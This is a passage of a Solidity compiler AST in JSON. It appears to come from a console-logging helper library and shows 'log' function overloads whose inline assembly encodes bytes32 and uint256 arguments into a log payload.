},{"constant":false,"id":36104,"mutability":"mutable","name":"p1","nameLocation":"74853:2:22","nodeType":"VariableDeclaration","scope":36135,"src":"74845:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36103,"name":"uint256","nodeType":"ElementaryTypeName","src":"74845:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":36106,"mutability":"mutable","name":"p2","nameLocation":"74865:2:22","nodeType":"VariableDeclaration","scope":36135,"src":"74857:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36105,"name":"uint256","nodeType":"ElementaryTypeName","src":"74857:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"74832:36:22"},"returnParameters":{"id":36108,"nodeType":"ParameterList","parameters":[],"src":"74883:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36176,"nodeType":"FunctionDefinition","src":"76038:1405:22","nodes":[],"body":{"id":36175,"nodeType":"Block","src":"76101:1342:22","nodes":[],"statements":[{"assignments":[36145],"declarations":[{"constant":false,"id":36145,"mutability":"mutable","name":"m0","nameLocation":"76119:2:22","nodeType":"VariableDeclaration","scope":36175,"src":"76111:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36144,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76111:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36146,"nodeType":"VariableDeclarationStatement","src":"76111:10:22"},{"assignments":[36148],"declarations":[{"constant":false,"id":36148,"mutability":"mutable","name":"m1","nameLocation":"76139:2:22","nodeType":"VariableDeclaration","scope":36175,"src":"76131:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36147,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76131:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36149,"nodeType":"VariableDeclarationStatement","src":"76131:10:22"},{"assignments":[36151],"declarations":[{"constant":false,"id":36151,"mutability":"mutable","name":"m2","nameLocation":"76159:2:22","nodeType":"VariableDeclaration","scope":36175,"src":"76151:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36150,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76151:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36152,"nodeType":"VariableDeclarationStatement","src":"76151:10:22"},{"assignments":[36154],"declarations":[{"constant":false,"id":36154,"mutability":"mutable","name":"m3","nameLocation":"76179:2:22","nodeType":"VariableDeclaration","scope":36175,"src":"76171:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36153,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76171:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36155,"nodeType":"VariableDeclarationStatement","src":"76171:10:22"},{"assignments":[36157],"declarations":[{"constant":false,"id":36157,"mutability":"mutable","name":"m4","nameLocation":"76199:2:22","nodeType":"VariableDeclaration","scope":36175,"src":"76191:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36156,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76191:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36158,"nodeType":"VariableDeclarationStatement","src":"76191:10:22"},{"assignments":[36160],"declarations":[{"constant":false,"id":36160,"mutability":"mutable","name":"m5","nameLocation":"76219:2:22","nodeType":"VariableDeclaration","scope":36175,"src":"76211:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36159,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76211:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36161,"nodeType":"VariableDeclarationStatement","src":"76211:10:22"},{"assignments":[36163],"declarations":[{"constant":false,"id":36163,"mutability":"mutable","name":"m6","nameLocation":"76239:2:22","nodeType":"VariableDeclaration","scope":36175,"src":"76231:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36162,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76231:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36164,"nodeType":"VariableDeclarationStatement","src":"76231:10:22"},{"assignments":[36166],"declarations":[{"constant":false,"id":36166,"mutability":"mutable","name":"m7","nameLocation":"76259:2:22","nodeType":"VariableDeclaration","scope":36175,"src":"76251:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36165,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76251:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36167,"nodeType":"VariableDeclarationStatement","src":"76251:10:22"},{"AST":{"nativeSrc":"76280:859:22","nodeType":"YulBlock","src":"76280:859:22","statements":[{"body":{"nativeSrc":"76323:313:22","nodeType":"YulBlock","src":"76323:313:22","statements":[{"nativeSrc":"76341:15:22","nodeType":"YulVariableDeclaration","src":"76341:15:22","value":{"kind":"number","nativeSrc":"76355:1:22","nodeType":"YulLiteral","src":"76355:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"76345:6:22","nodeType":"YulTypedName","src":"76345:6:22","type":""}]},{"body":{"nativeSrc":"76426:40:22","nodeType":"YulBlock","src":"76426:40:22","statements":[{"body":{"nativeSrc":"76455:9:22","nodeType":"YulBlock","src":"76455:9:22","statements":[{"nativeSrc":"76457:5:22","nodeType":"YulBreak","src":"76457:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"76443:6:22","nodeType":"YulIdentifier","src":"76443:6:22"},{"name":"w","nativeSrc":"76451:1:22","nodeType":"YulIdentifier","src":"76451:1:22"}],"functionName":{"name":"byte","nativeSrc":"76438:4:22","nodeType":"YulIdentifier","src":"76438:4:22"},"nativeSrc":"76438:15:22","nodeType":"YulFunctionCall","src":"76438:15:22"}],"functionName":{"name":"iszero","nativeSrc":"76431:6:22","nodeType":"YulIdentifier","src":"76431:6:22"},"nativeSrc":"76431:23:22","nodeType":"YulFunctionCall","src":"76431:23:22"},"nativeSrc":"76428:36:22","nodeType":"YulIf","src":"76428:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"76383:6:22","nodeType":"YulIdentifier","src":"76383:6:22"},{"kind":"number","nativeSrc":"76391:4:22","nodeType":"YulLiteral","src":"76391:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"76380:2:22","nodeType":"YulIdentifier","src":"76380:2:22"},"nativeSrc":"76380:16:22","nodeType":"YulFunctionCall","src":"76380:16:22"},"nativeSrc":"76373:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"76397:28:22","nodeType":"YulBlock","src":"76397:28:22","statements":[{"nativeSrc":"76399:24:22","nodeType":"YulAssignment","src":"76399:24:22","value":{"arguments":[{"name":"length","nativeSrc":"76413:6:22","nodeType":"YulIdentifier","src":"76413:6:22"},{"kind":"number","nativeSrc":"76421:1:22","nodeType":"YulLiteral","src":"76421:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"76409:3:22","nodeType":"YulIdentifier","src":"76409:3:22"},"nativeSrc":"76409:14:22","nodeType":"YulFunctionCall","src":"76409:14:22"},"variableNames":[{"name":"length","nativeSrc":"76399:6:22","nodeType":"YulIdentifier","src":"76399:6:22"}]}]},"pre":{"nativeSrc":"76377:2:22","nodeType":"YulBlock","src":"76377:2:22","statements":[]},"src":"76373:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"76490:3:22","nodeType":"YulIdentifier","src":"76490:3:22"},{"name":"length","nativeSrc":"76495:6:22","nodeType":"YulIdentifier","src":"76495:6:22"}],"functionName":{"name":"mstore","nativeSrc":"76483:6:22","nodeType":"YulIdentifier","src":"76483:6:22"},"nativeSrc":"76483:19:22","nodeType":"YulFunctionCall","src":"76483:19:22"},"nativeSrc":"76483:19:22","nodeType":"YulExpressionStatement","src":"76483:19:22"},{"nativeSrc":"76519:37:22","nodeType":"YulVariableDeclaration","src":"76519:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"76536:3:22","nodeType":"YulLiteral","src":"76536:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"76545:1:22","nodeType":"YulLiteral","src":"76545:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"76548:6:22","nodeType":"YulIdentifier","src":"76548:6:22"}],"functionName":{"name":"shl","nativeSrc":"76541:3:22","nodeType":"YulIdentifier","src":"76541:3:22"},"nativeSrc":"76541:14:22","nodeType":"YulFunctionCall","src":"76541:14:22"}],"functionName":{"name":"sub","nativeSrc":"76532:3:22","nodeType":"YulIdentifier","src":"76532:3:22"},"nativeSrc":"76532:24:22","nodeType":"YulFunctionCall","src":"76532:24:22"},"variables":[{"name":"shift","nativeSrc":"76523:5:22","nodeType":"YulTypedName","src":"76523:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"76584:3:22","nodeType":"YulIdentifier","src":"76584:3:22"},{"kind":"number","nativeSrc":"76589:4:22","nodeType":"YulLiteral","src":"76589:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"76580:3:22","nodeType":"YulIdentifier","src":"76580:3:22"},"nativeSrc":"76580:14:22","nodeType":"YulFunctionCall","src":"76580:14:22"},{"arguments":[{"name":"shift","nativeSrc":"76600:5:22","nodeType":"YulIdentifier","src":"76600:5:22"},{"arguments":[{"name":"shift","nativeSrc":"76611:5:22","nodeType":"YulIdentifier","src":"76611:5:22"},{"name":"w","nativeSrc":"76618:1:22","nodeType":"YulIdentifier","src":"76618:1:22"}],"functionName":{"name":"shr","nativeSrc":"76607:3:22","nodeType":"YulIdentifier","src":"76607:3:22"},"nativeSrc":"76607:13:22","nodeType":"YulFunctionCall","src":"76607:13:22"}],"functionName":{"name":"shl","nativeSrc":"76596:3:22","nodeType":"YulIdentifier","src":"76596:3:22"},"nativeSrc":"76596:25:22","nodeType":"YulFunctionCall","src":"76596:25:22"}],"functionName":{"name":"mstore","nativeSrc":"76573:6:22","nodeType":"YulIdentifier","src":"76573:6:22"},"nativeSrc":"76573:49:22","nodeType":"YulFunctionCall","src":"76573:49:22"},"nativeSrc":"76573:49:22","nodeType":"YulExpressionStatement","src":"76573:49:22"}]},"name":"writeString","nativeSrc":"76294:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"76315:3:22","nodeType":"YulTypedName","src":"76315:3:22","type":""},{"name":"w","nativeSrc":"76320:1:22","nodeType":"YulTypedName","src":"76320:1:22","type":""}],"src":"76294:342:22"},{"nativeSrc":"76649:17:22","nodeType":"YulAssignment","src":"76649:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"76661:4:22","nodeType":"YulLiteral","src":"76661:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"76655:5:22","nodeType":"YulIdentifier","src":"76655:5:22"},"nativeSrc":"76655:11:22","nodeType":"YulFunctionCall","src":"76655:11:22"},"variableNames":[{"name":"m0","nativeSrc":"76649:2:22","nodeType":"YulIdentifier","src":"76649:2:22"}]},{"nativeSrc":"76679:17:22","nodeType":"YulAssignment","src":"76679:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"76691:4:22","nodeType":"YulLiteral","src":"76691:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"76685:5:22","nodeType":"YulIdentifier","src":"76685:5:22"},"nativeSrc":"76685:11:22","nodeType":"YulFunctionCall","src":"76685:11:22"},"variableNames":[{"name":"m1","nativeSrc":"76679:2:22","nodeType":"YulIdentifier","src":"76679:2:22"}]},{"nativeSrc":"76709:17:22","nodeType":"YulAssignment","src":"76709:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"76721:4:22","nodeType":"YulLiteral","src":"76721:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"76715:5:22","nodeType":"YulIdentifier","src":"76715:5:22"},"nativeSrc":"76715:11:22","nodeType":"YulFunctionCall","src":"76715:11:22"},"variableNames":[{"name":"m2","nativeSrc":"76709:2:22","nodeType":"YulIdentifier","src":"76709:2:22"}]},{"nativeSrc":"76739:17:22","nodeType":"YulAssignment","src":"76739:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"76751:4:22","nodeType":"YulLiteral","src":"76751:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"76745:5:22","nodeType":"YulIdentifier","src":"76745:5:22"},"nativeSrc":"76745:11:22","nodeType":"YulFunctionCall","src":"76745:11:22"},"variableNames":[{"name":"m3","nativeSrc":"76739:2:22","nodeType":"YulIdentifier","src":"76739:2:22"}]},{"nativeSrc":"76769:17:22","nodeType":"YulAssignment","src":"76769:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"76781:4:22","nodeType":"YulLiteral","src":"76781:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"76775:5:22","nodeType":"YulIdentifier","src":"76775:5:22"},"nativeSrc":"76775:11:22","nodeType":"YulFunctionCall","src":"76775:11:22"},"variableNames":[{"name":"m4","nativeSrc":"76769:2:22","nodeType":"YulIdentifier","src":"76769:2:22"}]},{"nativeSrc":"76799:17:22","nodeType":"YulAssignment","src":"76799:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"76811:4:22","nodeType":"YulLiteral","src":"76811:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"76805:5:22","nodeType":"YulIdentifier","src":"76805:5:22"},"nativeSrc":"76805:11:22","nodeType":"YulFunctionCall","src":"76805:11:22"},"variableNames":[{"name":"m5","nativeSrc":"76799:2:22","nodeType":"YulIdentifier","src":"76799:2:22"}]},{"nativeSrc":"76829:17:22","nodeType":"YulAssignment","src":"76829:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"76841:4:22","nodeType":"YulLiteral","src":"76841:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"76835:5:22","nodeType":"YulIdentifier","src":"76835:5:22"},"nativeSrc":"76835:11:22","nodeType":"YulFunctionCall","src":"76835:11:22"},"variableNames":[{"name":"m6","nativeSrc":"76829:2:22","nodeType":"YulIdentifier","src":"76829:2:22"}]},{"nativeSrc":"76859:17:22","nodeType":"YulAssignment","src":"76859:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"76871:4:22","nodeType":"YulLiteral","src":"76871:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"76865:5:22","nodeType":"YulIdentifier","src":"76865:5:22"},"nativeSrc":"76865:11:22","nodeType":"YulFunctionCall","src":"76865:11:22"},"variableNames":[{"name":"m7","nativeSrc":"76859:2:22","nodeType":"YulIdentifier","src":"76859:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"76953:4:22","nodeType":"YulLiteral","src":"76953:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"76959:10:22","nodeType":"YulLiteral","src":"76959:10:22","type":"","value":"0x5970e089"}],"functionName":{"name":"mstore","nativeSrc":"76946:6:22","nodeType":"YulIdentifier","src":"76946:6:22"},"nativeSrc":"76946:24:22","nodeType":"YulFunctionCall","src":"76946:24:22"},"nativeSrc":"76946:24:22","nodeType":"YulExpressionStatement","src":"76946:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"76990:4:22","nodeType":"YulLiteral","src":"76990:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"76996:4:22","nodeType":"YulLiteral","src":"76996:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"76983:6:22","nodeType":"YulIdentifier","src":"76983:6:22"},"nativeSrc":"76983:18:22","nodeType":"YulFunctionCall","src":"76983:18:22"},"nativeSrc":"76983:18:22","nodeType":"YulExpressionStatement","src":"76983:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77021:4:22","nodeType":"YulLiteral","src":"77021:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"77027:2:22","nodeType":"YulIdentifier","src":"77027:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77014:6:22","nodeType":"YulIdentifier","src":"77014:6:22"},"nativeSrc":"77014:16:22","nodeType":"YulFunctionCall","src":"77014:16:22"},"nativeSrc":"77014:16:22","nodeType":"YulExpressionStatement","src":"77014:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77050:4:22","nodeType":"YulLiteral","src":"77050:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"77056:4:22","nodeType":"YulLiteral","src":"77056:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"77043:6:22","nodeType":"YulIdentifier","src":"77043:6:22"},"nativeSrc":"77043:18:22","nodeType":"YulFunctionCall","src":"77043:18:22"},"nativeSrc":"77043:18:22","nodeType":"YulExpressionStatement","src":"77043:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77086:4:22","nodeType":"YulLiteral","src":"77086:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"77092:2:22","nodeType":"YulIdentifier","src":"77092:2:22"}],"functionName":{"name":"writeString","nativeSrc":"77074:11:22","nodeType":"YulIdentifier","src":"77074:11:22"},"nativeSrc":"77074:21:22","nodeType":"YulFunctionCall","src":"77074:21:22"},"nativeSrc":"77074:21:22","nodeType":"YulExpressionStatement","src":"77074:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77120:4:22","nodeType":"YulLiteral","src":"77120:4:22","type":"","value":"0xc0"},{"name":"p2","nativeSrc":"77126:2:22","nodeType":"YulIdentifier","src":"77126:2:22"}],"functionName":{"name":"writeString","nativeSrc":"77108:11:22","nodeType":"YulIdentifier","src":"77108:11:22"},"nativeSrc":"77108:21:22","nodeType":"YulFunctionCall","src":"77108:21:22"},"nativeSrc":"77108:21:22","nodeType":"YulExpressionStatement","src":"77108:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36145,"isOffset":false,"isSlot":false,"src":"76649:2:22","valueSize":1},{"declaration":36148,"isOffset":false,"isSlot":false,"src":"76679:2:22","valueSize":1},{"declaration":36151,"isOffset":false,"isSlot":false,"src":"76709:2:22","valueSize":1},{"declaration":36154,"isOffset":false,"isSlot":false,"src":"76739:2:22","valueSize":1},{"declaration":36157,"isOffset":false,"isSlot":false,"src":"76769:2:22","valueSize":1},{"declaration":36160,"isOffset":false,"isSlot":false,"src":"76799:2:22","valueSize":1},{"declaration":36163,"isOffset":false,"isSlot":false,"src":"76829:2:22","valueSize":1},{"declaration":36166,"isOffset":false,"isSlot":false,"src":"76859:2:22","valueSize":1},{"declaration":36137,"isOffset":false,"isSlot":false,"src":"77092:2:22","valueSize":1},{"declaration":36139,"isOffset":false,"isSlot":false,"src":"77027:2:22","valueSize":1},{"declaration":36141,"isOffset":false,"isSlot":false,"src":"77126:2:22","valueSize":1}],"id":36168,"nodeType":"InlineAssembly","src":"76271:868:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36170,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"77164:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":36171,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"77170:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":36169,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"77148:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36172,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"77148:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36173,"nodeType":"ExpressionStatement","src":"77148:27:22"},{"AST":{"nativeSrc":"77194:243:22","nodeType":"YulBlock","src":"77194:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"77215:4:22","nodeType":"YulLiteral","src":"77215:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"77221:2:22","nodeType":"YulIdentifier","src":"77221:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77208:6:22","nodeType":"YulIdentifier","src":"77208:6:22"},"nativeSrc":"77208:16:22","nodeType":"YulFunctionCall","src":"77208:16:22"},"nativeSrc":"77208:16:22","nodeType":"YulExpressionStatement","src":"77208:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77244:4:22","nodeType":"YulLiteral","src":"77244:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"77250:2:22","nodeType":"YulIdentifier","src":"77250:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77237:6:22","nodeType":"YulIdentifier","src":"77237:6:22"},"nativeSrc":"77237:16:22","nodeType":"YulFunctionCall","src":"77237:16:22"},"nativeSrc":"77237:16:22","nodeType":"YulExpressionStatement","src":"77237:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77273:4:22","nodeType":"YulLiteral","src":"77273:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"77279:2:22","nodeType":"YulIdentifier","src":"77279:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77266:6:22","nodeType":"YulIdentifier","src":"77266:6:22"},"nativeSrc":"77266:16:22","nodeType":"YulFunctionCall","src":"77266:16:22"},"nativeSrc":"77266:16:22","nodeType":"YulExpressionStatement","src":"77266:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77302:4:22","nodeType":"YulLiteral","src":"77302:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"77308:2:22","nodeType":"YulIdentifier","src":"77308:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77295:6:22","nodeType":"YulIdentifier","src":"77295:6:22"},"nativeSrc":"77295:16:22","nodeType":"YulFunctionCall","src":"77295:16:22"},"nativeSrc":"77295:16:22","nodeType":"YulExpressionStatement","src":"77295:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77331:4:22","nodeType":"YulLiteral","src":"77331:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"77337:2:22","nodeType":"YulIdentifier","src":"77337:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77324:6:22","nodeType":"YulIdentifier","src":"77324:6:22"},"nativeSrc":"77324:16:22","nodeType":"YulFunctionCall","src":"77324:16:22"},"nativeSrc":"77324:16:22","nodeType":"YulExpressionStatement","src":"77324:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77360:4:22","nodeType":"YulLiteral","src":"77360:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"77366:2:22","nodeType":"YulIdentifier","src":"77366:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77353:6:22","nodeType":"YulIdentifier","src":"77353:6:22"},"nativeSrc":"77353:16:22","nodeType":"YulFunctionCall","src":"77353:16:22"},"nativeSrc":"77353:16:22","nodeType":"YulExpressionStatement","src":"77353:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77389:4:22","nodeType":"YulLiteral","src":"77389:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"77395:2:22","nodeType":"YulIdentifier","src":"77395:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77382:6:22","nodeType":"YulIdentifier","src":"77382:6:22"},"nativeSrc":"77382:16:22","nodeType":"YulFunctionCall","src":"77382:16:22"},"nativeSrc":"77382:16:22","nodeType":"YulExpressionStatement","src":"77382:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"77418:4:22","nodeType":"YulLiteral","src":"77418:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"77424:2:22","nodeType":"YulIdentifier","src":"77424:2:22"}],"functionName":{"name":"mstore","nativeSrc":"77411:6:22","nodeType":"YulIdentifier","src":"77411:6:22"},"nativeSrc":"77411:16:22","nodeType":"YulFunctionCall","src":"77411:16:22"},"nativeSrc":"77411:16:22","nodeType":"YulExpressionStatement","src":"77411:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36145,"isOffset":false,"isSlot":false,"src":"77221:2:22","valueSize":1},{"declaration":36148,"isOffset":false,"isSlot":false,"src":"77250:2:22","valueSize":1},{"declaration":36151,"isOffset":false,"isSlot":false,"src":"77279:2:22","valueSize":1},{"declaration":36154,"isOffset":false,"isSlot":false,"src":"77308:2:22","valueSize":1},{"declaration":36157,"isOffset":false,"isSlot":false,"src":"77337:2:22","valueSize":1},{"declaration":36160,"isOffset":false,"isSlot":false,"src":"77366:2:22","valueSize":1},{"declaration":36163,"isOffset":false,"isSlot":false,"src":"77395:2:22","valueSize":1},{"declaration":36166,"isOffset":false,"isSlot":false,"src":"77424:2:22","valueSize":1}],"id":36174,"nodeType":"InlineAssembly","src":"77185:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"76047:3:22","parameters":{"id":36142,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36137,"mutability":"mutable","name":"p0","nameLocation":"76059:2:22","nodeType":"VariableDeclaration","scope":36176,"src":"76051:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36136,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76051:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36139,"mutability":"mutable","name":"p1","nameLocation":"76071:2:22","nodeType":"VariableDeclaration","scope":36176,"src":"76063:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36138,"name":"uint256","nodeType":"ElementaryTypeName","src":"76063:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":36141,"mutability":"mutable","name":"p2","nameLocation":"76083:2:22","nodeType":"VariableDeclaration","scope":36176,"src":"76075:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36140,"name":"bytes32","nodeType":"ElementaryTypeName","src":"76075:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"76050:36:22"},"returnParameters":{"id":36143,"nodeType":"ParameterList","parameters":[],"src":"76101:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36217,"nodeType":"FunctionDefinition","src":"77449:1405:22","nodes":[],"body":{"id":36216,"nodeType":"Block","src":"77512:1342:22","nodes":[],"statements":[{"assignments":[36186],"declarations":[{"constant":false,"id":36186,"mutability":"mutable","name":"m0","nameLocation":"77530:2:22","nodeType":"VariableDeclaration","scope":36216,"src":"77522:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36185,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77522:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36187,"nodeType":"VariableDeclarationStatement","src":"77522:10:22"},{"assignments":[36189],"declarations":[{"constant":false,"id":36189,"mutability":"mutable","name":"m1","nameLocation":"77550:2:22","nodeType":"VariableDeclaration","scope":36216,"src":"77542:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36188,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77542:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36190,"nodeType":"VariableDeclarationStatement","src":"77542:10:22"},{"assignments":[36192],"declarations":[{"constant":false,"id":36192,"mutability":"mutable","name":"m2","nameLocation":"77570:2:22","nodeType":"VariableDeclaration","scope":36216,"src":"77562:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36191,"name":"bytes32","nodeType":"ElementaryTypeName","src":"77562:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36193,"nodeType":"VariableDeclarationStatement","src":"77562:10:22"},{"assignments":[36195],"declarations":[{"constant":false,"id":36195,"mutability":"mutable","name":"m3","nameLocation":"77590:2:22","nodeType":"VariableDeclaration","scope